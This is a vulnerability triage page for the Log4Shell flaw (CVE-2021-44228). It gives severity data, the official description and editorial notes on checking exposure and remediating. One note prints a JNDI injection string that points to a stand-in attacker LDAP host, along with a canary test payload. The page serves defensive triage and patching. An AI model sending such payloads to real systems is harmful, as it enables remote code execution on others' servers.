Skip to content

CVE-2021-44228: Log4Shell

Improper Input Validation: Is CVE-2021-44228 real, exploitable, or a false positive? Here's the community verdict.

signals

public sources

Exploited in wild
Yes
CISA KEV
Public exploit
Metasploit +2
Metasploit/EDB/PoC
Base severity
10 Critical
CVSS
Exploitation prob.
100%
FIRST EPSS
Weakness
CWE-20 · Improper Input Validation
CWE

Confirmed exploited in the wild. Patch this first, regardless of the base score.

public exploits

links to sources — we don’t host code

A working exploit is publicly available from a maintained source. Treat this as higher urgency and verify your exposure.

baseline read

auto · not a community verdict

Real — exploited in the wild

CISA confirms active exploitation. Treat scanner hits as true positives unless your specific version or config is unaffected.

Based on CISA KEV

Confirm or dispute →

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Published

Embed this verdict
TruePositive verdict for CVE-2021-44228
Markdown
[![TruePositive verdict](https://www.truepositive.app/cve/CVE-2021-44228/badge.svg)](https://www.truepositive.app/cve/CVE-2021-44228)
HTML
<a href="https://www.truepositive.app/cve/CVE-2021-44228"><img src="https://www.truepositive.app/cve/CVE-2021-44228/badge.svg" alt="TruePositive verdict for CVE-2021-44228"></a>

Live badge that updates automatically as the community verdict changes.

Community ground truth

Be the first practitioner to weigh in

So far this is only TruePositive's editorial baseline from public sources. Add your real-world verdict below — it becomes the signal the next person triaging this relies on.

🥇 The first 50 practitioners to contribute earn a Founding Contributor badge.

In your experience, is this finding real and exploitable?

awaiting field verdicts
Real, but not a risk here
Not a real issue

Curated baseline: TruePositive's read from public sources is Real & exploitable — a starting point, not a community verdict.

No account needed. Anonymous verdicts post as an unverified signal. Log in to make yours verified and earn reputation.

Field notes & remediation

Verdicts are the quick signal. Notes are the evidence and fixes behind them.

  • 0
    Field note · TruePositive EditorialCurated

    This one is real. It is not scanner noise. If your app uses Log4j2 core version 2.0-beta9 to 2.14.1, and it writes attacker input into logs (like a User-Agent header, a username, or a search box), an attacker can run code on your server. The attack is very easy. They just send a string like ${jndi:ldap://attacker/a} in any field that gets logged. Log4j reads it, connects out, and loads their code. It was attacked at massive scale within hours. Assume every internet-facing Java app was tested.

    One common triage mistake: a vulnerable version being installed does not always mean it is exploitable here. If the app never logs untrusted input, or someone already removed the JndiLookup class, the real risk is much lower. But do not assume this without checking.

    How to check safely: find the jar with find / -name 'log4j-core-*.jar' and read the version. Then send a test payload like ${jndi:ldap://<your-unique>.your-dns-canary/x} into a field that gets logged, and watch for a DNS lookup. If you get a callback, you are exploitable. Also note: version 2.15.0 was an incomplete fix (CVE-2021-45046). You need 2.17.1 or higher.

    Commonly flagged by: Trivy, Dependabot, Snyk, Nessus, Qualys.

  • 0
    Remediation · TruePositive EditorialCurated

    Best fix is to upgrade, not to patch around it. Use Log4j 2.17.1+ (Java 8), 2.12.4 (Java 7), or 2.3.2 (Java 6). If you truly cannot upgrade right now, remove the class from the jar and restart: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Do not rely only on log4j2.formatMsgNoLookups=true. It is incomplete and was bypassed. After patching, check for signs of a breach: outbound LDAP or RMI connections, strange child processes from the Java app, and new class files loaded at runtime.

Add a field note or remediationoptional
Note type

What are you adding?

Markdown supported · minimum 20 characters.

Same weakness: CWE-20 · Improper Input Validation.